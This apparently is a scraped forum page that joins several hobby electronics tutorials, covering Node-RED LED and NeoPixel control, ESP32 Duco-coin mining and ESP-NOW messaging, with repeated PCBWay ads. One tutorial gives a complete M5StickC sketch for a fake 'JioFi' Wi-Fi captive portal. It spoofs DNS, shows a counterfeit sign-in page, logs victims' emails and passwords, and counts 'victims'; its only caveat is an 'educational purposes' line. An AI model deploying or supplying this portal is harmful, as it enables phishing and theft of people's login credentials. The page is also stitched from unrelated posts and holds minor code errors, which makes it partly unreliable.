"0", "birthPayload": "", "birthMsg": {}, "closeTopic": "", "closeQos": "0", "closePayload": "", "closeMsg": {}, "willTopic": "", "willQos": "0", "willPayload": "", "willMsg": {}, "userProps": "", "sessionExpiry": "" }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "ESP32 Home Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] The input switch will send "true" when it is on, and it will send "false" when it triggers off. Then click on the Qubitro uplink pallet and edit the property. Here you need to replace your connection details and credentials. Next, just deploy the flow. And navigate to the /ui of the node-red server. Here you can toggle the switch to turn the lead on and off. Also, open the serial monitor and check the node-red response. Conclusion: In this tutorial, we have seen how to control the LED with Node-Red and MQTT Server.
-
- raspberry pi
- node red
-
(and 3 more)
Tagged with:
-
Things used in this project Hardware components Raspberry Pi 4 Model B × 1 Adafruit NeoPixel Ring: WS2812 5050 RGB LED × 1 Software apps and online services Node-RED How to Control NeoPixel LEDs with Node-RED and Raspberry Pi NeoPixel LEDs are a popular type of addressable RGB LEDs that can create amazing effects and animations. They are easy to control with a microcontroller like Arduino, but what if you want to use them with a Raspberry Pi? In this article, we’ll show you how to use Node-RED, a graphical programming tool, to control NeoPixel LEDs with a Raspberry Pi. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. What You’ll Need To follow this tutorial, you’ll need the following components: A Raspberry Pi board with Raspbian OS installed A WS2812B NeoPixel LED strip Some jumper wires You’ll also need to install Node-RED and the node-red-node-pi-neopixel node on your Raspberry Pi. We’ll explain how to do that later. Wiring the NeoPixel LED Strip The NeoPixel LED strip has three wires: 5V, GND, and DATA. The 5V and GND wires provide power to the LEDs, while the DATA wire carries the signal that controls the color and brightness of each LED. The Raspberry Pi can provide 5V and GND from its GPIO pins and connect the DATA pin to GPIO 18. The reason we use GPIO 18 is because it supports PWM (pulse-width modulation), which is needed by the node-red-node-pi-neopixel node. You can use other PWM-enabled GPIO pins, but you’ll need to change the settings accordingly. Installing Node-RED and node-red-node-pi-neopixel Node-RED is a graphical programming tool that lets you create applications by connecting nodes that perform different functions. You can install Node-RED on your Raspberry Pi by following this guide. To control the NeoPixel LEDs with Node-RED, you need to install a special node called node-red-node-pi-neopixel. This node can drive a strip of NeoPixel or WS2812 LEDs from a Raspberry Pi. You can install it by running the following command. npm install node-red-node-pi-neopixel You also need to install the Neopixel python driver, which is used by the node-red-node-pi-neopixel node. The easiest way to do that is to use the Unicorn HAT drivers install script, which you can run with this command: After installing node-red-node-pi-neopixel, you need to restart Node-RED for the changes to take effect. Creating a Node-RED Flow Now that everything is set up, you can create a Node-RED flow to control the NeoPixel LEDs. A flow is a collection of nodes that are connected by wires. Each node has an input and an output and can perform some action or function. To create a flow, you need to open the Node-RED editor in your web browser. By default, it runs on port 1880 of your Raspberry Pi’s IP address. For example, if your Raspberry Pi’s IP address is 192.168.1.3, you can access the Node-RED editor at http://192.168.1.3:1880. In the editor, you’ll see a palette of nodes on the left side, a workspace in the middle, and an info panel on the right side. You can drag nodes from the palette to the workspace and connect them by dragging wires from one node’s output to another node’s input. Here’s an example of a neo-pixel flow that controls the LEDs based on our user inputs. To create this flow, you need to do the following steps: Drag Copy and import the below JSON node-red flow. Change the LED count JSON Files: [ { "id": "60627e22237dc214", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "f0395033145e84d7", "type": "ui_colour_picker", "z": "60627e22237dc214", "name": "Color Picker", "label": "COLOR PICKER", "group": "cd687a95.00e108", "format": "rgb", "outformat": "string", "showSwatch": true, "showPicker": true, "showValue": true, "showHue": false, "showAlpha": false, "showLightness": true, "square": "false", "order": 1, "width": 0, "height": 0, "passthru": true, "topic": "", "topicType": "str", "x": 490, "y": 380, "wires": [ [ "f6f366218f267026" ] ] }, { "id": "f6f366218f267026", "type": "function", "z": "60627e22237dc214", "name": "Set Color", "func": "var count = global.get('count')||0;\nmsg.payload = msg.payload.replace(/[rgb()\\s]/g,\"\");\nif(count===0){\n msg.payload = msg.payload;\n}\nelse{\n msg.payload = (count-1) + \",\" + msg.payload;\n}\n\nreturn msg;", "outputs": 1, "noerr": 0, "x": 680, "y": 380, "wires": [ [ "b4a4a424433ab3a2" ] ] }, { "id": "cc6b4172d7245dfd", "type": "function", "z": "60627e22237dc214", "name": "Rainbow Effect", "func": "var numberOfLEDs = 8;\nvar i;\nvar j;\n\nif (msg.payload==1)\n{\n for (i = 0; i < 255; i++) {\n\n for (j = 0; j < numberOfLEDs; j++) {\n\n var pos = 0;\n pos = Math.round(((j * 255 / numberOfLEDs) + i)) & 255;\n\n if (pos < 85) {\n var red = pos * 3;\n var green = 255 - pos * 3;\n var blue = 0;\n }\n else if (pos < 170) {\n pos -= 85;\n var red = 255 - pos * 3;\n var green = 0;\n var blue = pos * 3;\n }\n else {\n pos -= 170;\n var red = 0;\n var green = pos * 3;\n var blue = 255 - pos * 3;\n }\n var setColor = j + ',' + red + ',' + green + ',' + blue;\n node.send({ payload: setColor });\n }\n }\n}\nelse { \n msg.payload = \"0,0,0\"\n}\n\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 700, "y": 440, "wires": [ [ "b4a4a424433ab3a2" ] ] }, { "id": "b4a4a424433ab3a2", "type": "rpi-neopixels", "z": "60627e22237dc214", "name": "Neo Pixel", "gpio": "18", "pixels": "8", "bgnd": "", "fgnd": "", "wipe": "60", "mode": "pixels", "rgb": "rgb", "brightness": "100", "gamma": true, "x": 900, "y": 420, "wires": [] }, { "id": "125d1e66ad34b180", "type": "ui_switch", "z": "60627e22237dc214", "name": "", "label": "Rainbow switch", "tooltip": "", "group": "cd687a95.00e108", "order": 3, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 500, "y": 440, "wires": [ [ "cc6b4172d7245dfd" ] ] }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "Neo Pixel Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] Neo Pixel Node Setup: Select the PIN and change the LED count as per your neo-pixel configuration. Deployment Setup: Next hit the deployment button and navigate to the UI page of the Node-red with /ui in the node-red page URL. You can select the LED color via the neo-pixel circle. Also, if you toggle the rainbow switch it will apply the rainbow effect to the ring. Conclusion In this article, I have shown you how to control NeoPixel LEDs with Node-RED and Raspberry Pi.
-
- raspberry pi
- neopixel
-
(and 2 more)
Tagged with:
-
Cryptocurrency: A New Era of Money Money is one of the most important inventions in human history. It is a medium of exchange, a store of value, and a unit of account. Money enables trade, commerce, and economic growth. However, money also has its limitations and challenges. For example, money can be counterfeited, stolen, or inflated. To overcome these problems, some people have invented a new form of money: cryptocurrency. Cryptocurrency is a type of digital currency that uses cryptography to secure and verify transactions. Cryptocurrency is decentralized, meaning that it is not controlled by any central authority or government. Cryptocurrency transactions are recorded on a distributed ledger called a blockchain, which ensures transparency and immutability. Some examples of cryptocurrencies are: Bitcoin: The first and most popular cryptocurrency, created in 2009 by an anonymous person or group using the pseudonym Satoshi Nakamoto. Bitcoin has a limited supply of 21 million coins and uses a proof-of-work algorithm to validate transactions and create new blocks. Ethereum: A platform that allows developers to create decentralized applications (dApps) and smart contracts using its native cryptocurrency, ether. Ethereum uses a proof-of-stake algorithm to secure its network and enable faster transactions. Cryptocurrencies have many advantages over traditional money. They are: Secure: Cryptocurrencies use cryptography to protect transactions from fraud and hacking. Cryptocurrencies also have no single point of failure, as they are distributed across many nodes on the network. Transparent: Cryptocurrencies allow anyone to view the history and details of every transaction on the blockchain. Cryptocurrencies also have no hidden fees or charges, as they are based on peer-to-peer transactions. Inclusive: Cryptocurrencies enable anyone with an internet connection and a digital wallet to access the global financial system. Cryptocurrencies also have no barriers to entry or discrimination, as they are open to anyone regardless of their identity or location. Innovative: Cryptocurrencies foster innovation and creativity, as they allow developers to create new applications and services using blockchain technology. Cryptocurrencies also have the potential to disrupt various industries and sectors, such as banking, e-commerce, healthcare, education, and more. Cryptocurrencies are not without challenges and risks, however. They are: Volatile: Cryptocurrencies are subject to high price fluctuations due to supply and demand dynamics, market sentiment, regulatory uncertainty, and technical issues. Cryptocurrencies can also be affected by external factors, such as geopolitical events, cyberattacks, media coverage, and public opinion. Complex: Cryptocurrencies require a steep learning curve for users to understand how they work and how to use them safely and effectively. Cryptocurrencies also involve technical jargon and concepts that may be confusing or intimidating for beginners. Unregulated: Cryptocurrencies operate in a legal gray area, as they are not recognized or regulated by most governments and authorities. Cryptocurrencies may face legal restrictions or bans in some areas, which may limit their adoption and usage. Cryptocurrencies may also pose ethical and social issues, such as tax evasion, money laundering, terrorism financing, and environmental impact. Cryptocurrency is a new era of money that offers many opportunities and challenges for the future. Cryptocurrency is not just a technology or a currency; it is a social phenomenon that reflects the values and aspirations of its users. Cryptocurrency is not perfect or flawless; it is an experiment that evolves and improves over time. Cryptocurrency is not for everyone or everything; it is a choice that depends on one’s preferences and needs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Crypto mining: It is the process of creating new units of cryptocurrency by solving complex mathematical problems. Crypto mining is essential for securing and verifying transactions on the blockchain, which is a distributed ledger that records the history and details of every transaction. Crypto mining also rewards miners with newly minted coins, which increases the supply and circulation of cryptocurrency. There are several types of crypto mining, depending on the algorithm and consensus mechanism used by the cryptocurrency network. The most common type is proof-of-work (PoW) mining, which requires miners to use their computing power to compete to find the solution to a cryptographic puzzle. The first miner who solves the puzzle gets to add a new block to the blockchain and claim the block reward. Some examples of cryptocurrencies that use PoW mining are Bitcoin, Ethereum, Litecoin, and Monero. Another type of crypto mining is proof-of-stake (PoS) mining, which requires miners to stake a certain number of coins to participate in the validation process. PoS mining does not involve solving puzzles but rather selecting validators based on their stake and other factors. Validators then take turns to propose and confirm new blocks and receive rewards based on their stake and performance. Some examples of cryptocurrencies that use PoS mining are Cardano, Polkadot, Binance Coin, and Tezos. Crypto mining can be profitable or unprofitable, depending on several factors such as the price of the cryptocurrency, the difficulty of the mining algorithm, the cost of electricity and hardware, and the competition from other miners. Crypto mining can also have environmental and social impacts, such as energy consumption, carbon emissions, waste generation, noise pollution, and regulatory issues. If you want to mine cryptocurrency, you will need some specialized hardware that can perform complex calculations and consume a lot of electricity. There are several types of hardware for mining different cryptocurrencies, but the most common ones are ASIC (application-specific integrated circuit) devices, which are designed to mine a specific algorithm or coin. Some of the best ASIC devices for mining cryptocurrency in 2023 are: Antminer S19 Pro: This is one of the most powerful and efficient Bitcoin mining hardware, with a hash rate of 110 TH/s and a power consumption of 3,250 W. WhatsMiner M30S++: This is another top Bitcoin mining hardware, with a hash rate of 112 TH/s and a power consumption of 3,472 W. AvalonMiner 1246: This is heavy-duty Bitcoin mining hardware, with a hash rate of 90 TH/s and a power consumption of 3,420 W. WhatsMiner M32-62T: This is a new Bitcoin mining hardware, with a hash rate of 62 TH/s and a power consumption of 3,360 W. You can see these are some of the high-power and costly miners, also their power consumption is extremely high. In this tutorial, you will see how to mine crypto with low-power ESP32 microcontrollers. Duco Coin: A Simple and Eco-Friendly Crypto Coin Duco coin is a unique crypto coin that can be mined using low-powered devices, such as Arduino boards, ESP32, Raspberry Pi, and even old computers. Duco coin aims to provide a simple, accessible, and eco-friendly way of participating in the crypto world, without the need for expensive and energy-intensive hardware. Duco coin uses its own blockchain and consensus algorithm, called DUCO-S1, which is based on SHA-1. DUCO-S1 is designed to be fast, secure, and adaptable to different devices and mining methods. Duco coin also uses a reward system called theKolka system, which adjusts the mining difficulty and rewards based on the device’s performance and network conditions. The Kolka system ensures that low-powered devices have a fair chance of earning coins while preventing abuse and spam. The Duco coin has an infinite supply of coins, but it also has a burning mechanism that reduces circulation by destroying some coins every time a transaction is made. This creates a balance between inflation and deflation and maintains the value of the coin. The Duco coin also has no transaction fees, as the miners are rewarded by the Kolka system. The Duco coin is a crypto coin that offers many advantages over traditional coins. It is: Simple: Duco coin is easy to mine, use, and understand. It does not require any complex setup or configuration. It also has a user-friendly web wallet and a mobile app that allows users to manage their funds and transactions. Eco-friendly: Duco coin is environmentally friendly, as it uses low-powered devices that consume minimal electricity and generate less heat and noise. It also reduces electronic waste by giving new life to old devices. Inclusive: Duco coin is inclusive, as it enables anyone with an internet connection and a cheap device to join the crypto world. It also has no barriers to entry or discrimination, as it is open to anyone regardless of their identity or location. Innovative: Duco coin is innovative, as it fosters creativity and experimentation among its users and developers. It also has the potential to disrupt various industries and sectors, such as education, gaming, IoT, and more. Duco coin is a new era of crypto coin that offers simplicity, sustainability, accessibility, and diversity. Duco coin is not just a technology or a currency; it is a community that shares the same vision and values. How to mine Duco coin with ESP32: To mine Duco coin with ESP32, you will need the following steps: Step 1: Register an account on the Duino-Coin website and create a wallet. You will need your username and wallet address for mining. Step 2: Download and install the Arduino IDE and the ESP32 board support package. You will also need to install some libraries, such as WiFiClientSecure, ArduinoJson, and DHT (if you want to use a DHT sensor). Step 3: Download the Duino-Coin ESP32 code from GitHub and open it in the Arduino IDE. Edit the code to enter your Wi-Fi name, password, username, and mining key (if you enabled it in the wallet). You can also change the rig identifier and the LED pin if you want. Step 4: Connect your ESP32 board to your computer via a USB cable and select the correct port and board settings in the Arduino IDE. Upload the code to your ESP32 board and wait for it to connect to the Duino-Coin server. Step 5: You can monitor your mining status and earnings on the Duino-Coin web wallet or the mobile app. You can also use the serial monitor in the Arduino IDE to see the debug messages from your ESP32 board. That’s it! You are now mining Duco coin with your ESP32 board. You can also use multiple ESP32 boards or other devices, such as Arduino, Raspberry Pi, or PC, to increase your hash rate and earnings. However, be aware of the Kolka system, which adjusts the mining difficulty and rewards based on your device’s performance and network conditions.
- 2 replies
-
- cryptocurrency
- esp32
-
(and 3 more)
Tagged with:
-
Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "<"); a.replace(">", ">"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>© All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
-
In the previous two tutorials, we have seen how to get started with ESPNOW and how to transmit DHT11 sensor data via ESPNOW. This tutorial will show how to control physical devices like LED, Relay, or other electrical & electronic applications. Things that we need: You need two ESP32 Dev boards, that's all. ESP32 Dev boards have already been equipped with an onboard LED. So, we can just try to control them via ESPNOW. Also, you can add an external LED to the digital pins, and we can control them. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step:1 Transmitter Node Setup First, we need to build our controller. We already know how to get the MAC address of our receiver node. Use the sketch below to get the MAC Address of the receiver. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Just upload this Arduino sketch to the transmitter node, and make sure that you have modified the MAC address in the sketch. #include <esp_now.h> #include <WiFi.h> //----------------------------------------Defines PIN Button and PIN LED. #define LED_Pin 4 #define BTN_Pin 15 //---------------------------------------- int BTN_State; //--> Variable to hold the button state. uint8_t broadcastAddress[] = {xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}; int LED_State_Send = 0; int LED_State_Receive; String success; //Must match the receiver structure typedef struct struct_message { int led; } struct_message_send; struct_message send_Data; // Create a struct_message to send data. struct_message receive_Data; // Create a struct_message to receive data. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); if (status ==0){ success = "Delivery Success :)"; } else{ success = "Delivery Fail :("; } Serial.println(">>>>>"); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Callback when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&receive_Data, incomingData, sizeof(receive_Data)); Serial.println(); Serial.println("<<<<< Receive Data:"); Serial.print("Bytes received: "); Serial.println(len); LED_State_Receive = receive_Data.led; Serial.print("Receive Data: "); Serial.println(LED_State_Receive); Serial.println("<<<<<"); digitalWrite(LED_Pin, LED_State_Receive); } //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setup() { Serial.begin(115200); pinMode(LED_Pin, OUTPUT); pinMode(BTN_Pin, INPUT); WiFi.mode(WIFI_STA); //--> Set device as a Wi-Fi Station //----------------------------------------Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } //-------------------------------------- // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); //----------------------------------------Register peer esp_now_peer_info_t peerInfo; memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false //----------------------------------------Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } //---------------------------------------- esp_now_register_recv_cb(OnDataRecv); //--> Register for a callback function that will be called when data is received } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void loop() { BTN_State = digitalRead(BTN_Pin); //--> Reads and holds button states. //----------------------------------------When the button is pressed it will send data to control the LED on the ESP32 Target. if(BTN_State == 1) { LED_State_Send = !LED_State_Send; send_Data.led = LED_State_Send; Serial.println(); Serial.print(">>>>> "); Serial.println("Send data"); //----------------------------------------Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &send_Data, sizeof(send_Data)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } //----------------------------------------Wait for the button to be released. Release the button first to send the next data. while(BTN_State == 1) { BTN_State = digitalRead(BTN_Pin); delay(10); } } } Step:2 Receiver Node Setup: We have already built our transmitter; next, we need to set up our receiver node. Just upload the below Arduino sketch to build a receiver to get data from the transmitter and based on the input data it will glow the led. #include <esp_now.h> #include <WiFi.h> //----------------------------------------Defines PIN Button and PIN LED. #define LED_Pin 4 #define BTN_Pin 15 //---------------------------------------- int BTN_State; //--> Variable to hold the button state. uint8_t broadcastAddress[] = {xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}; //--> REPLACE WITH THE MAC Address of your transmitter. ESP32 A int LED_State_Send = 0; //--> Variable to hold the data to be transmitted to control the LEDs on the paired ESP32. int LED_State_Receive; //--> Variable to receive data to control the LEDs on the ESP32 running this code. String success; //--> Variable to store if sending data was successful //----------------------------------------Structure example to send data //Must match the receiver structure typedef struct struct_message { int led; } struct_message_send; struct_message send_Data; // Create a struct_message to send data. struct_message receive_Data; // Create a struct_message to receive data. //---------------------------------------- void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); if (status ==0){ success = "Delivery Success :)"; } else{ success = "Delivery Fail :("; } Serial.println(">>>>>"); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&receive_Data, incomingData, sizeof(receive_Data)); Serial.println(); Serial.println("<<<<< Receive Data:"); Serial.print("Bytes received: "); Serial.println(len); LED_State_Receive = receive_Data.led; Serial.print("Receive Data: "); Serial.println(LED_State_Receive); Serial.println("<<<<<"); digitalWrite(LED_Pin, LED_State_Receive); } //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ void setup() { Serial.begin(115200); pinMode(LED_Pin, OUTPUT); pinMode(BTN_Pin, INPUT); WiFi.mode(WIFI_STA); //--> Set device as a Wi-Fi Station if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } //---------------------------------------- // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); //---------------------------------------- esp_now_peer_info_t peerInfo; memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; //---------------------------------------- //----------------------------------------Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } //---------------------------------------- } void loop() { BTN_State = digitalRead(BTN_Pin); //--> Reads and holds button states. //----------------------------------------When the button is pressed it will send data to control the LED on the ESP32 Target. if(BTN_State == 1) { LED_State_Send = !LED_State_Send; send_Data.led = LED_State_Send; Serial.println(); Serial.print(">>>>> "); Serial.println("Send data"); //----------------------------------------Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &send_Data, sizeof(send_Data)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } //---------------------------------------- while(BTN_State == 1) { BTN_State = digitalRead(BTN_Pin); delay(10); } } Output Data: Here is the serial monitor data from the transmitter, once you press the transmitter button it will send the command to the receiver node. If it is received by the receiver it will mark as a success. Here is the serial monitor data from the receiver, once the command from the transmitter is received by the receiver it will show the data and start to glow the led. Wrap-Up: In final words, now we know how to transmit the sensor data also how to control the appliances. Based on these we can easily build a home automation system. In upcoming tutorials, will see how to build a home automation system with ESPNOW.
-
Jolin He reacted to a post in a topic: Unleash the Magic Power of IoT with the New Wio-WM1110 and Get FREE Seeed Fusion PCBA Services
-
